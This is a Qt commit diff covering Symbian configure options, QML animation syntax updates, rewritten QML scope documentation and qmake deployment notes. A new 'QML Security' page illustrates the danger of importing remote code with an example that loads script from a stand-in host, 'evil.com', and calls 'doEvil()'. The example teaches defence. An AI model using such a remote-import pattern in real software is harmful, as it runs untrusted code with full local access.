diff options
240 files changed, 4127 insertions, 1975 deletions
@@ -725,6 +725,7 @@ CFG_DBUS=auto CFG_GLIB=auto CFG_GSTREAMER=auto CFG_QGTKSTYLE=auto +CFG_QS60STYLE=auto CFG_LARGEFILE=yes CFG_OPENSSL=auto CFG_PTMALLOC=no @@ -1798,6 +1799,13 @@ while [ "$#" -gt 0 ]; do UNKNOWN_OPT=yes fi ;; + style-s60) + if [ "$VAL" = "qt" ] || [ "$VAL" = "no" ]; then + CFG_QS60STYLE="$VAL" + else + UNKNOWN_OPT=yes + fi + ;; qdbus|dbus) if [ "$VAL" = "yes" ] || [ "$VAL" = "no" ] || [ "$VAL" = "linked" ]; then CFG_DBUS="$VAL" @@ -3353,7 +3361,6 @@ Usage: $relconf [-h] [-prefix <dir>] [-prefix-install] [-bindir <dir>] [-libdir [-no-openssl] [-openssl] [-openssl-linked] [-no-gtkstyle] [-gtkstyle] [-no-svg] [-svg] [-no-webkit] [-webkit] [-no-javascript-jit] [-javascript-jit] [-no-script] [-script] [-no-scripttools] [-scripttools] [-no-declarative] [-declarative] - [-no-s60] [-s60] [-no-usedeffiles] [-usedeffiles] [additional platform specific options (see below)] @@ -3537,11 +3544,6 @@ EOF fi cat << EOF - -no-s60 ............ Do not compile in S60 support. - + -s60 ............... Compile with support for the S60 UI Framework. - -no-usedeffiles .... Disable the usage of DEF files. - * -usedeffiles ....... Enable the usage of DEF files. - -no-mmx ............ Do not compile with use of MMX instructions. -no-3dnow .......... Do not compile with use of 3DNOW instructions. -no-sse ............ Do not compile with use of SSE instructions. @@ -3992,6 +3994,20 @@ if [ "$PLATFORM_QWS" = "yes" -o "$PLATFORM_X11" = "yes" ]; then EOF fi +if echo "$XPLATFORM" | grep symbian > /dev/null ; then + cat << EOF + +Qt for Symbian only: + -no-s60 ............ Do not compile in S60 support. + + -s60 ............... Compile with support for the S60 UI Framework. + -no-style-s60....... Disable s60 style + + -qt-style-s60....... Enable s60 style in the Qt Library + + -no-usedeffiles .... Disable the usage of DEF files. + * -usedeffiles ....... Enable the usage of DEF files. +EOF +fi + [ "x$ERROR" = "xyes" ] && exit 1 exit 0 fi # Help @@ -4005,6 +4021,8 @@ if [ "$PLATFORM_QWS" = "yes" ]; then Platform="Qt for Embedded Linux" elif [ "$PLATFORM_MAC" = "yes" ]; then Platform="Qt for Mac OS X" +elif echo "$XPLATFORM" | grep "symbian" > /dev/null ; then + Platform="Qt for Symbian" elif [ '!' -z "`getQMakeConf \"$XQMAKESPEC\" | grep QMAKE_LIBS_X11 | awk '{print $3;}'`" ]; then PLATFORM_X11=yes Platform="Qt for Linux/X11" @@ -4630,15 +4648,23 @@ if [ "$CFG_ZLIB" = "auto" ]; then fi if [ "$CFG_S60" = "auto" ]; then - if echo "$XQMAKESPEC" | grep symbian > /dev/null; then + if echo "$XPLATFORM" | grep symbian > /dev/null; then CFG_S60=yes else CFG_S60=no fi fi +if [ "$CFG_QS60STYLE" = "auto" ]; then + if echo "$XPLATFORM" | grep symbian > /dev/null; then + CFG_QS60STYLE=qt + else + CFG_QS60STYLE=no + fi +fi + if [ "$CFG_SYMBIAN_DEFFILES" = "auto" ]; then - if echo "$XQMAKESPEC" | grep symbian > /dev/null && [ "$CFG_DEV" = "no" ]; then + if echo "$XPLATFORM" | grep symbian > /dev/null && [ "$CFG_DEV" = "no" ]; then CFG_SYMBIAN_DEFFILES=yes else CFG_SYMBIAN_DEFFILES=no @@ -5671,6 +5697,8 @@ fi if [ "$CFG_ENDIAN" = "auto" ]; then if [ "$PLATFORM_MAC" = "yes" ]; then true #leave as auto + elif [ "$XPLATFORM" = "symbian-sbsv2" ]; then + CFG_ENDIAN="Q_LITTLE_ENDIAN" else "$unixtests/endian.test" "$XQMAKESPEC" $OPT_VERBOSE "$relpath" "$outpath" F="$?" @@ -5756,7 +5784,7 @@ if [ "$CFG_DOUBLEFORMAT" = "auto" ]; then fi HAVE_STL=no -if echo "$XQMAKESPEC" | grep symbian > /dev/null || "$unixtests/compile.test" "$XQMAKESPEC" "$QMAKE_CONFIG" $OPT_VERBOSE "$relpath" "$outpath" config.tests/unix/stl "STL" $L_FLAGS $I_FLAGS $l_FLAGS; then +if echo "$XPLATFORM" | grep symbian > /dev/null || "$unixtests/compile.test" "$XQMAKESPEC" "$QMAKE_CONFIG" $OPT_VERBOSE "$relpath" "$outpath" config.tests/unix/stl "STL" $L_FLAGS $I_FLAGS $l_FLAGS; then HAVE_STL=yes fi @@ -5910,7 +5938,7 @@ if [ "$CFG_OPENSSL" != "no" ]; then fi # detect OpenVG support -if [ "$CFG_OPENVG" != "no" ]; then +if [ "$CFG_OPENVG" != "no" ] && [ "$XPLATFORM" != "symbian-sbsv2" ]; then if "$unixtests/compile.test" "$XQMAKESPEC" "$QMAKE_CONFIG" $OPT_VERBOSE "$relpath" "$outpath" "config.tests/unix/openvg" "OpenVG" $L_FLAGS $I_FLAGS $l_FLAGS $CONFIG_ARG; then if [ "$CFG_OPENVG" = "auto" ]; then CFG_OPENVG=yes @@ -5994,7 +6022,7 @@ elif [ "$CFG_JAVASCRIPTCORE_JIT" = "no" ]; then fi if [ "$CFG_AUDIO_BACKEND" = "auto" ]; then - if echo "$XQMAKESPEC" | grep symbian > /dev/null 2>&1; then + if echo "$XPLATFORM" | grep symbian > /dev/null 2>&1; then "$symbiantests/compile.test" "$XQMAKESPEC" "$QMAKE_CONFIG" $OPT_VERBOSE "$relpath" "$outpath" config.tests/symbian/audio "audio" $L_FLAGS $I_FLAGS $l_FLAGS else CFG_AUDIO_BACKEND=yes @@ -6172,6 +6200,12 @@ else fi fi +if [ "$CFG_QS60STYLE" = "no" ]; then + QCONFIG_FLAGS="$QCONFIG_FLAGS QT_NO_STYLE_S60" +else + QCONFIG_FLAGS="$QCONFIG_FLAGS QT_STYLE_S60" +fi + # Disable OpenGL on Symbian. case "$XPLATFORM" in symbian*) diff --git a/demos/declarative/flickr/common/Loading.qml b/demos/declarative/flickr/common/Loading.qml index 938a080..4c41717 100644 --- a/demos/declarative/flickr/common/Loading.qml +++ b/demos/declarative/flickr/common/Loading.qml @@ -1,8 +1,8 @@ import Qt 4.6 Image { - id: loading; source: "pics/loading.png"; transformOrigin: "Center" + id: loading; source: "pics/loading.png" NumberAnimation on rotation { - from: 0; to: 360; running: loading.visible == true; repeat: true; duration: 900 + from: 0; to: 360; running: loading.visible == true; loops: Animation.Infinite; duration: 900 } } diff --git a/demos/declarative/photoviewer/PhotoViewerCore/BusyIndicator.qml b/demos/declarative/photoviewer/PhotoViewerCore/BusyIndicator.qml index 919ac43..361659c 100644 --- a/demos/declarative/photoviewer/PhotoViewerCore/BusyIndicator.qml +++ b/demos/declarative/photoviewer/PhotoViewerCore/BusyIndicator.qml @@ -5,5 +5,5 @@ Image { property bool on: false source: "images/busy.png"; visible: container.on - NumberAnimation on rotation { running: container.on; from: 0; to: 360; repeat: true; duration: 1200 } + NumberAnimation on rotation { running: container.on; from: 0; to: 360; loops: Animation.Infinite; duration: 1200 } } diff --git a/demos/declarative/twitter/TwitterCore/Loading.qml b/demos/declarative/twitter/TwitterCore/Loading.qml index 76bf64b..957de0f 100644 --- a/demos/declarative/twitter/TwitterCore/Loading.qml +++ b/demos/declarative/twitter/TwitterCore/Loading.qml @@ -1,8 +1,8 @@ import Qt 4.6 Image { - id: loading; source: "images/loading.png"; transformOrigin: "Center" + id: loading; source: "images/loading.png" NumberAnimation on rotation { - from: 0; to: 360; running: loading.visible == true; repeat: true; duration: 900 + from: 0; to: 360; running: loading.visible == true; loops: Animation.Infinite; duration: 900 } } diff --git a/dist/changes-4.6.3 b/dist/changes-4.6.3 index 57cc453..d8e9fb4 100644 --- a/dist/changes-4.6.3 +++ b/dist/changes-4.6.3 @@ -138,6 +138,14 @@ Qt for Windows CE - +Qt for Symbian +-------------- + + - [QT-567] Implementation of QtMultimedia QAudio* APIs + - [QTBUG-8919] Modified Phonon MMF backend to support video playback on + platforms which use graphics surfaces (i.e. platforms using the + New Graphics Architecture a.k.a. ScreenPlay) + **************************************************************************** * Tools * **************************************************************************** diff --git a/doc/src/declarative/animation.qdoc b/doc/src/declarative/animation.qdoc index 7e0a787..9969e8f 100644 --- a/doc/src/declarative/animation.qdoc +++ b/doc/src/declarative/animation.qdoc @@ -72,7 +72,7 @@ Rectangle { x: 60-img.width/2 y: 0 SequentialAnimation on y { - repeat: true + loops: Animation.Infinite NumberAnimation { to: 200-img.height; easing.type: "OutBounce"; duration: 2000 } PauseAnimation { duration: 1000 } NumberAnimation { to: 0; easing.type: "OutQuad"; duration: 1000 } diff --git a/doc/src/declarative/declarativeui.qdoc b/doc/src/declarative/declarativeui.qdoc index 69a8216..f310484 100644 --- a/doc/src/declarative/declarativeui.qdoc +++ b/doc/src/declarative/declarativeui.qdoc @@ -103,6 +103,7 @@ completely new applications. QML is fully \l {Extending QML in C++}{extensible \o \l {QML Global Object} \o \l {Extending QML in C++} \o \l {QML Internationalization} +\o \l {QML Security} \o \l {QtDeclarative Module} \o \l {Debugging QML} \endlist diff --git a/doc/src/declarative/javascriptblocks.qdoc b/doc/src/declarative/javascriptblocks.qdoc index 0006967..e57439f 100644 --- a/doc/src/declarative/javascriptblocks.qdoc +++ b/doc/src/declarative/javascriptblocks.qdoc @@ -138,6 +138,7 @@ these libraries, the JavaScript programmer can indicate a particular file is a stateless library through the use of a pragma, as shown in the following example. \code +// factorial.js .pragma library function factorial(a) { diff --git a/doc/src/declarative/qdeclarativesecurity.qdoc b/doc/src/declarative/qdeclarativesecurity.qdoc new file mode 100644 index 0000000..56216dd --- /dev/null +++ b/doc/src/declarative/qdeclarativesecurity.qdoc @@ -0,0 +1,90 @@ +/**************************************************************************** +** +** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). +** All rights reserved. +** Contact: Nokia Corporation (qt-info@nokia.com) +** +** This file is part of the documentation of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** No Commercial Usage +** This file contains pre-release code and may not be distributed. +** You may use this file in accordance with the terms and conditions +** contained in the Technology Preview License Agreement accompanying +** this package. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 2.1 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 2.1 requirements +** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. +** +** In addition, as a special exception, Nokia gives you certain additional +** rights. These rights are described in the Nokia Qt LGPL Exception +** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. +** +** If you have questions regarding the use of this file, please contact +** Nokia at qt-info@nokia.com. +** +** +** +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +/*! +\page qdeclarativesecurity.html +\title QML Security +\section1 QML Security + +The QML security model is that QML content is a chain of trusted content: the user +installs QML content that they trust in the same way as they install native Qt applications, +or programs written with runtimes such as Python and Perl. That trust is establish by any +of a number of mechanisms, including the availability of package signing on some platforms. + +In order to preserve the trust of users, developers producing QML content should not execute +arbitrary downloaded JavaScript, nor instantiate arbitrary downloaded QML elements. + +For example, this QML content: + +\qml +import "http://evil.com/evil.js" as Evil +... Evil.doEvil() ... +\endqml + +is equivalent to downloading "http://evil.com/evil.exe" and running it. The JavaScript execution +environment of QML does not try to stop any particular accesses, including local file system +access, just as for any native Qt application, so the "doEvil" function could do the same things +as a native Qt application, a Python application, a Perl script, ec. + +As with any application accessing other content beyond it's control, a QML application should +perform appropriate checks on untrusted data it loads. + +A non-exhaustive list of the ways you could shoot yourself in the foot is: + +\list + \i Using \c import to import QML or JavaScropt you do not control. BAD + \i Using \l Loader to import QML you do not control. BAD + \i Using XMLHttpRequest to load data you do not control and executing it. BAD +\endlist + +However, the above does not mean that you have no use for the network transparency of QML. +There are many good and useful things you \e can do: + +\list + \i Create \l Image elements with source URLs of any online images. GOOD + \i Use XmlListModel to present online content. GOOD + \i Use XMLHttpRequest to interact with online services. GOOD +\endlist + +The only reason this page is necessary at all is that JavaScript, when run in a \e{web browser}, +has quite many restrictions. With QML, you should neither rely on similar restrictions, nor +worry about working around them. +*/ diff --git a/doc/src/declarative/scope.qdoc b/doc/src/declarative/scope.qdoc index 8ec784f..c588b45 100644 --- a/doc/src/declarative/scope.qdoc +++ b/doc/src/declarative/scope.qdoc @@ -39,344 +39,304 @@ ** ****************************************************************************/ -/*! -\page qdeclarativescope.html -\title QML Scope +/* + + + +and requires extension to +fit naturally with QML. -\tableofcontents -NOTE: This documentation is out of data. +JavaScript has only b +JavaScript has a very simple built in scope is very simple -\l {Property Binding}s and \l {Integrating JavaScript}{JavaScript} are executed in a scope chain +script, and the precede d + +and \l {Integrating JavaScript}{JavaScript} are executed in a scope chain automatically established by QML when a component instance is constructed. QML is a \e {dynamically scoped} language. Different object instances instantiated from the same component can exist in different scope chains. \image qml-scope.png -\section1 JavaScript Variable object -Each binding and script block has its own distinct JavaScript variable object where local -variables are stored. That is, local variables from different bindings and script blocks never -conflict. +*/ -\section1 Element Type Names +/*! +\page qdeclarativescope.html +\title QML Scope -Bindings or script blocks use element type names when accessing \l {Attached Properties} or -enumeration values. The set of available element names is defined by the import list of the -\l {QML Documents}{QML Document} in which the the binding or script block is defined. +\tableofcontents -These two examples show how to access attached properties and enumeration values with different -types of import statements. -\table -\row -\o -\code -import Qt 4.6 +QML property bindings, inline functions and imported JavaScript files all +run in a JavaScript scope. Scope controls which variables an expression can +access, and which variable takes precedence when two or more names conflict. -Text { - id: root - scale: root.PathView.scale - horizontalAlignment: Text.AlignLeft -} -\endcode -\o -\code -import Qt 4.6 as MyQt +As JavaScript's built-in scope mechanism is very simple, QML enhances it to fit +more naturally with the QML language extensions. -Text { - id: root - scale: root.MyQt.PathView.scale - horizontalAlignment: MyQt.Text.AlignLeft -} -\endcode -\endtable +\section1 JavaScript Scope -\section1 QML Local Scope +QML's scope extensions do not interfere with JavaScript's natural scoping. +JavaScript programmers can reuse their existing knowledge when programming +functions, property bindings or imported JavaScript files in QML. -Most variables references are resolved in the local scope. The local scope is controlled by the -QML component in which the binding or script block was defined. The following example shows -three different bindings, and the component that dictates each local scope. +In the following example, the \c {addConstant()} method will add 13 to the +parameter passed just as the programmer would expect irrespective of the +value of the QML object's \c a and \c b properties. -\table -\row -\o \code -// main.qml -import Qt 4.6 +QtObject { + property int a: 3 + property int b: 9 -Rectangle { // Local scope component for binding 1 - id: root - property string text - - Button { - text: root.text // binding 1 + function addConstant(b) { + var a = 13; + return b + a; } - - ListView { - delegate: Component { // Local scope component for binding 2 - Rectangle { - width: ListView.view.width // binding 2 - } - } - } - } \endcode -\o -\code -// Button.qml -import Qt 4.6 -Rectangle { // Local scope component for binding 3 - id: root - property string text +That QML respects JavaScript's normal scoping rules even applies in bindings. +This totally evil, abomination of a binding will assign 12 to the QML object's +\c a property. - Text { - text: root.text // binding 3 - } +\code +QtObject { + property int a + + a: { var a = 12; a; } } \endcode -\endtable -Inside the local scope, four "sub-scopes" exist. Each sub-scope is searched in order when -resolving a name; names in higher sub-scopes shadow those in lower sub-scopes. +Every JavaScript expression, function or file in QML has its own unique +variable object. Local variables declared in one will never conflict +with local variables declared in another. -\section2 IDs +\section1 Element Names and Imported JavaScript Files -IDs present in the component take precendence over other names. The QML engine enforces -uniqueness of IDs within a component, so their names cannot conflict with one another. +\l {QML Document}s include import statements that define the element names +and JavaScript files visible to the document. In addition to their use in the +QML declaration itself, element names are used by JavaScript code when accessing +\l {Attached Properties} and enumeration values. -Here is an example of using IDs within bindings: +The effect of an import applies to every property binding, and JavaScript +function in the QML document, even those in nested inline components. The +following example shows a simple QML file that accesses some enumeration +values and calls an imported JavaScript function. \code -Item { - id: root - width: nested.width - Item { - id: nested - height: root.height - } -} -\endcode - -\section2 Script Methods - -Methods declared in script blocks are searched immediately after IDs. In the case of multiple -script blocks in the one component, the blocks are searched in the order in which they were -declared - the nesting of script blocks within a component is not significant for name -resolution. - -In the following example, \c {Method 1} shadows \c {Method 2} for the bindings, but not for -\c {Method 3}. +import Qt 4.6 +import "code.js" as Code -\code -Item { - Script { - function getValue() { return 10; } // Method 1 - } +ListView { + snapMode: ListView.SnapToItem - Rectangle { - Script { - function getValue() { return 11; } // Method 2 - function getValue2() { return getValue(); } // Method 3 + delegate: Component { + Text { + elide: Text.ElideMiddle + text: "A really, really long string that will require eliding." + color: Code.defaultColor() } - - x: getValue() // Resolves to Method 1, set to 10 - y: getValue2() // Resolves to Method 3, set to 11 } } \endcode -\section2 Scope Object - -A scope object is associated with each binding and script block. Properties and methods of the -scope object appear in the scope chain, immediately after \l {Script Methods}. +\section1 Binding Scope Object -In bindings and script blocks established explicitly in \l {QML Documents}, the scope object is -always the element containing the binding or script block. The following example shows two -bindings, one using grouped properties, and the corresponding scope object. These two bindings -use the scope object to resolve variable references: \c height is a property on \l Rectangle, -and \c parent is a property on \l Text. +Property bindings are the most common use of JavaScript in QML. Property +bindings associate the result of a JavaScript expression with a property of an +object. The object to which the bound property belongs is known as the binding's +scope object. In this QML simple declaration the \l Item object is the +binding's scope object. \code -Item { // Scope object for Script block 1 - Script { // Script block 1 - function calculateValue() { ... } - } - - Rectangle { // Scope object for Binding 1 and Script block 2 - Script { // Script block 2 - function calculateColor() { ... } - } - width: height * 2 // Binding 1 - } - - Text { // Scope object for Binding 2 - font.pixelSize: parent.height * 0.7 // binding 2 - } +Item { + anchors.left: parent.left } \endcode -One notable characteristic of the scope object is its interaction with \l {Attached Properties}. -As attached properties exist on all objects, an attached property reference that is not -explicitly prefixed by an id will \e always resolve to the attached property on the scope -object. - -In the following example, \c {Binding 1} will resolve to the attached properties of the -\l Rectangle element, as intended. However, due to the property search of the scope object, -\c {Binding 2} will resolve to the attached properties of the \l Text element, which -is probably not what was intended. This code can be corrected, by replacing \c {Binding 2} -with this explicit element reference \c {root.ListView.view.width}. +Bindings have access to the scope object's properties without qualification. +In the previous example, the binding accesses the \l Item's \c parent property +directly, without needing any form of object prefix. QML introduces a more +structured, object-oriented approach to JavaScript, and consequently does not +require (although it does support) use of the implicit \c this property. + +Care must be used when accessing \l {Attached Properties} from bindings due +to their interaction with the scope object. Conceptually attached properties +exist on \e all objects, even if they only have an effect on a subset of those. +Consequently unqualified attached property reads will always resolve to an +attached property on the scope object, which is not always what the programmer +intended. + +For example, the \l PathView element attaches interpolated value properties to +its delegates depending on their position in the path. As PathView only +meaningfully attaches these properties to the root element in the delegate, any +sub-element that accesses them must explicitly qualify the root object, as shown +below. \code -import Qt 4.6 - -ListView { - delegate: Rectangle { - id: root - width: ListView.view.width // Binding 1 - Text { - text: contactName - width: ListView.view.width // Binding 2 +PathView { + delegate: Component { + Rectangle { + id: root + Image { + scale: root.PathView.scale + } } } } \endcode -\e TODO - -\list -\o scope object for PropertyChanges -\endlist - -\section2 Root Object +If the \l Image element omitted the \c root prefix, it would inadvertantly access +the unset \c {PathView.scale} attached property on itself. -Properties and methods on the local scope component's root object appear in the scope chain -immediately after the \l {Scope Object}. If the scope object and root object are the same, -this step has no effect. +\section1 Component Scope -This example uses the root object to easily propagate data throughout the component. +Each QML component in a QML document defines a logical scope. Each document +has at least one root component, but can also have other inline sub-components. +The component scope is the union of the object ids within the component and the +component's root element's properties. \code Item { - property string description - property int fontSize + property string title Text { - text: description - font.pixelSize: fontSize + id: titleElement + text: "<b>" + title + "</b>" + font.pixelSize: 22 + anchors.top: parent.top + } + + Text { + text: titleElement.text + font.pixelSize: 18 + anchors.bottom: parent.bottom } } \endcode -\section1 QML Component chain - -When a QML component is instantiated it is given a parent component instance. The parent -component instance is immutable - it is not affected, for example, by changes in the instance's -visual parent (in the case of visual elements). Should name resolution fail within the -\l {QML Local Scope}, this parent chain is searched. +The example above shows a simple QML component that displays a rich text title +string at the top, and a smaller copy of the same text at the bottom. The first +\c Text element directly accesses the component's \c title property when +forming the text to display. That the root element's properties are directly +accessible makes it trivial to distribute data throughout the component. -For each component instance in the chain, the following are examined: +The second \c Text element uses an id to access the first's text directly. IDs +are specified explicitly by the QML programmer so they always take precedence +over other property names (except for those in the \l {JavaScript Scope}). For +example, in the unlikely event that the binding's \l {Binding Scope Object}{scope +object} had a \c titleElement property in the previous example, the \c titleElement +id would still take precedence. -\list 1 -\o IDs -\o Script Methods -\o Root Object -\endlist +\section1 Component Instance Hierarchy -This list is a sub-set of that in the \l {QML Local Scope}. +In QML, component instances connect their component scopes together to form a +scope hierarchy. Component instances can directly access the component scopes of +their ancestors. -A sub-component's parent component instance is set to the component that created it. -In the following example, the two \c Button instances have the -\c main.qml instance as their parent component instance. If the \c Button type was used from -within another QML file, it may have a difference parent component instance, and consequently -the \c buttonClicked() method may resolve differently. +The easiest way to demonstrate this is with inline sub-components whose component +scopes are implicitly scoped as children of the outer component. -\table -\row -\o \code -// main.qml Item { - function buttonClicked(var data) { - print(data + " clicked"); - } + property color defaultColor: "blue" - Button { text: "Button1" } - Button { text: "Button2" } -} -\endcode -\o -\code -// Button.qml -Rectangle { - id: root - property string text - width: 80 - height: 30 - Text { - anchors.centerIn: parent - text: root.text - } - MouseArea { - anchors.fill: parent - onClicked: buttonClicked(text) + ListView { + delegate: Component { + Rectangle { + color: defaultColor + } + } } } \endcode -\endtable -The code above discourages the re-use of the \c Button component, as it has a hard dependency -on the environment in which it is used. Tightly coupling two types together like this should -only be used when the components are within the same module, and the author controls the -implementations of both. +The component instance hierarchy allows instances of the delegate component +to access the \c defaultColor property of the \c Item element. Of course, +had the delegate component had a property called \c defaultColor that would +have taken precedence. -In the following example, the \l ListView sets the parent component instance of each of its -delegates to its own component instance. In this way, the main component can easily pass data -into the \l ListView delegates. +The component instance scope hierarchy extends to out-of-line components, too. +In the following example, the \c TitlePage.qml component creates two +\c TitleText instances. Even though the \c TitleText element is in a separate +file, it still has access to the \c title property when it is used from within +the \c TitlePage. QML is a dynamically scoped language - depending on where it +is used, the \c title property may resolve differently. \code +// TitlePage.qml +import Qt 4.6 Item { - property color delegateColor: "red" + property string title + + TitleText { + size: 22 + anchors.top: parent.top + } - ListView { - delegate: Component { - Rectangle { - color: delegateColor - } - } + TitleText { + size: 18 + anchors.bottom: parent.bottom } } -\endcode -\section1 QDeclarativeContext chain - -The \l QDeclarativeContext chain allows C++ applications to pass data into QML applications. -\l QDeclarativeComponent object instances created from C++ are passed a \l QDeclarativeContext in which they -are created. Variables defined in this context appear in the scope chain. Each QDeclarativeContext -also defines a parent context. Variables in child QDeclarativeContext's shadow those in its parent. +// TitleText.qml +import Qt 4.6 +Text { + property int size + text: "<b>" + title + "</b>" + font.pixelSize: size +} +\endcode -Consider the following QDeclarativeContext tree. +Dynamic scoping is very powerful, but it must be used cautiously to prevent +the behavior of QML code from becoming difficult to predict. In general it +should only be used in cases where the two components are already tightly +coupled in another way. When building reusable components, it is preferable +to use property interfaces, like this: -\image qml-context-tree.png +\code +// TitlePage.qml +import Qt 4.6 +Item { + id: root + property string title + + TitleText { + title: root.title + size: 22 + anchors.top: parent.top + } -The value of \c background in \c {Context 1} would be used if it was instantiated in -\c {Context 1}, where as the value of the \c background in the root context would be used if -the component instance was instantiated in \c {Context 2}. + TitleText { + title: root.title + size: 18 + anchors.bottom: parent.bottom + } +} -\code +// TitleText.qml import Qt 4.6 +Text { + property string title + property int size -Rectangle { - id: myRect - width: 100; height: 100 - color: background + text: "<b>" + title + "</b>" + font.pixelSize: size } \endcode -\section1 QML Global Object +\section1 JavaScript Global Object + +In addition to all the properties that a developer would normally expect on +the JavaScript global object, QML adds some custom extensions to make UI or +QML specific tasks a little easier. These extensions are described in the +\l {QML Global Object} documentation. + +QML disallows element, id and property names that conflict with the properties +on the global object to prevent any confusion. Programmers can be confident +that \c Math.min(10, 9) will always work as expected! -The \l {QML Global Object} contains all the properties of the JavaScript global object, plus some -QML specific extensions. */ diff --git a/doc/src/development/qmake-manual.qdoc b/doc/src/development/qmake-manual.qdoc index 8cb8705..688122b 100644 --- a/doc/src/development/qmake-manual.qdoc +++ b/doc/src/development/qmake-manual.qdoc @@ -1425,12 +1425,20 @@ is the application private directory on the drive it is installed to. attention that also other statements stay valid. For example if you override languages statement, you must override also package-header statement and all other statements which are language specific. + + On the Symbian platform, the \c default_deployment item specifies + default platform and package dependencies. Those dependencies can be + selectively disabled if alternative dependencies need to be defined + - e.g. if a specific device is required to run the application or + more languages need to be supported by the package file. The supported + \c default_deployment rules that can be disabled are: - On the Symbian platform, the \c default_deployment item specifies - default platform dependencies. It can be overwritten if a more - restrictive set is needed - e.g. if a specific - device is required to run the application. - + \list + \o pkg_depends_qt + \o pkg_depends_webkit + \o pkg_platform_dependencies + \endlist + For example: \snippet doc/src/snippets/code/doc_src_qmake-manual.qdoc 141 diff --git a/doc/src/snippets/code/doc_src_deployment.qdoc b/doc/src/snippets/code/doc_src_deployment.qdoc index 3b0cda1..48e9ac6 100644 --- a/doc/src/snippets/code/doc_src_deployment.qdoc +++ b/doc/src/snippets/code/doc_src_deployment.qdoc @@ -463,7 +463,8 @@ vendorinfo = \ "%{\"Example Localized Vendor\"}" \ ":\"Example Vendor\"" -default_deployment.pkg_prerules = vendorinfo +my_deployment.pkg_prerules = vendorinfo +DEPLOYMENT += my_deployment //! [56] //! [57] @@ -471,7 +472,9 @@ supported_platforms = \ "; This demo only supports S60 5.0" \ "[0x1028315F],0,0,0,{\"S60ProductID\"}" -default_deployment.pkg_prerules += supported_platforms +default_deployment.pkg_prerules -= pkg_platform_dependencies +my_deployment.pkg_prerules += supported_platforms +DEPLOYMENT += my_deployment //! [57] //! [58] diff --git a/doc/src/snippets/code/doc_src_qmake-manual.qdoc b/doc/src/snippets/code/doc_src_qmake-manual.qdoc index 36676ae..d9e5d3c 100644 --- a/doc/src/snippets/code/doc_src_qmake-manual.qdoc +++ b/doc/src/snippets/code/doc_src_qmake-manual.qdoc @@ -933,7 +933,9 @@ DEPLOYMENT += somelib justdep //! [140] //! [141] -default_deployment.pkg_prerules = "[0x11223344],0,0,0,{\"SomeSpecificDeviceID\"}" +default_deployment.pkg_prerules -= pkg_platform_dependencies +my_deployment.pkg_prerules = "[0x11223344],0,0,0,{\"SomeSpecificDeviceID\"}" +DEPLOYMENT += my_deployment //! [141] //! [142] diff --git a/examples/declarative/animations/color-animation.qml b/examples/declarative/animations/color-animation.qml index 025134b..d8361ba 100644 --- a/examples/declarative/animations/color-animation.qml +++ b/examples/declarative/animations/color-animation.qml @@ -12,7 +12,7 @@ Item { GradientStop { position: 0.0 SequentialAnimation on color { - repeat: true + loops: Animation.Infinite ColorAnimation { from: "DeepSkyBlue"; to: "#0E1533"; duration: 5000 } ColorAnimation { from: "#0E1533"; to: "DeepSkyBlue"; duration: 5000 } } @@ -20,7 +20,7 @@ Item { GradientStop { position: 1.0 SequentialAnimation on color { - repeat: true + loops: Animation.Infinite ColorAnimation { from: "SkyBlue"; to: "#437284"; duration: 5000 } ColorAnimation { from: "#437284"; to: "SkyBlue"; duration: 5000 } } @@ -32,7 +32,7 @@ Item { Item { width: parent.width; height: 2 * parent.height transformOrigin: Item.Center - NumberAnimation on rotation { from: 0; to: 360; duration: 10000; repeat: true } + NumberAnimation on rotation { from: 0; to: 360; duration: 10000; loops: Animation.Infinite } Image { source: "images/sun.png"; y: 10; anchors.horizontalCenter: parent.horizontalCenter transformOrigin: Item.Center; rotation: -3 * parent.rotation @@ -46,7 +46,7 @@ Item { source: "images/star.png"; angleDeviation: 360; velocity: 0 velocityDeviation: 0; count: parent.width / 10; fadeInDuration: 2800 SequentialAnimation on opacity { - repeat: true + loops: Animation.Infinite NumberAnimation { from: 0; to: 1; duration: 5000 } NumberAnimation { from: 1; to: 0; duration: 5000 } } @@ -60,7 +60,7 @@ Item { GradientStop { position: 0.0 SequentialAnimation on color { - repeat: true + loops: Animation.Infinite ColorAnimation { from: "ForestGreen"; to: "#001600"; duration: 5000 } ColorAnimation { from: "#001600"; to: "ForestGreen"; duration: 5000 } } diff --git a/examples/declarative/animations/property-animation.qml b/examples/declarative/animations/property-animation.qml index 4428f34..401feb5 100644 --- a/examples/declarative/animations/property-animation.qml +++ b/examples/declarative/animations/property-animation.qml @@ -43,7 +43,7 @@ Item { // Animate the y property. Setting repeat to true makes the // animation repeat indefinitely, otherwise it would only run once. SequentialAnimation on y { - repeat: true + loops: Animation.Infinite // Move from minHeight to maxHeight in 300ms, using the OutExpo easing function NumberAnimation { diff --git a/examples/declarative/border-image/content/MyBorderImage.qml b/examples/declarative/border-image/content/MyBorderImage.qml index 5621e18..f0c3cfc 100644 --- a/examples/declarative/border-image/content/MyBorderImage.qml +++ b/examples/declarative/border-image/content/MyBorderImage.qml @@ -18,13 +18,13 @@ Item { id: image; x: container.width / 2 - width / 2; y: container.height / 2 - height / 2 SequentialAnimation on width { - repeat: true + loops: Animation.Infinite NumberAnimation { from: container.minWidth; to: container.maxWidth; duration: 2000; easing.type: "InOutQuad"} NumberAnimation { from: container.maxWidth; to: container.minWidth; duration: 2000; easing.type: "InOutQuad" } } SequentialAnimation on height { - repeat: true + loops: Animation.Infinite NumberAnimation { from: container.minHeight; to: container.maxHeight; duration: 2000; easing.type: "InOutQuad"} NumberAnimation { from: container.maxHeight; to: container.minHeight; duration: 2000; easing.type: "InOutQuad" } } diff --git a/examples/declarative/effects/effects.qml b/examples/declarative/effects/effects.qml index 997d7de..2280a2a 100644 --- a/examples/declarative/effects/effects.qml +++ b/examples/declarative/effects/effects.qml @@ -16,7 +16,7 @@ Rectangle { running: false from: 0; to: 10 duration: 1000 - repeat: true + loops: Animation.Infinite } } @@ -33,7 +33,7 @@ Rectangle { effect: DropShadow { blurRadius: 3 offset.x: 3 - NumberAnimation on offset.y { id: dropShadowEffect; from: 0; to: 10; duration: 1000; 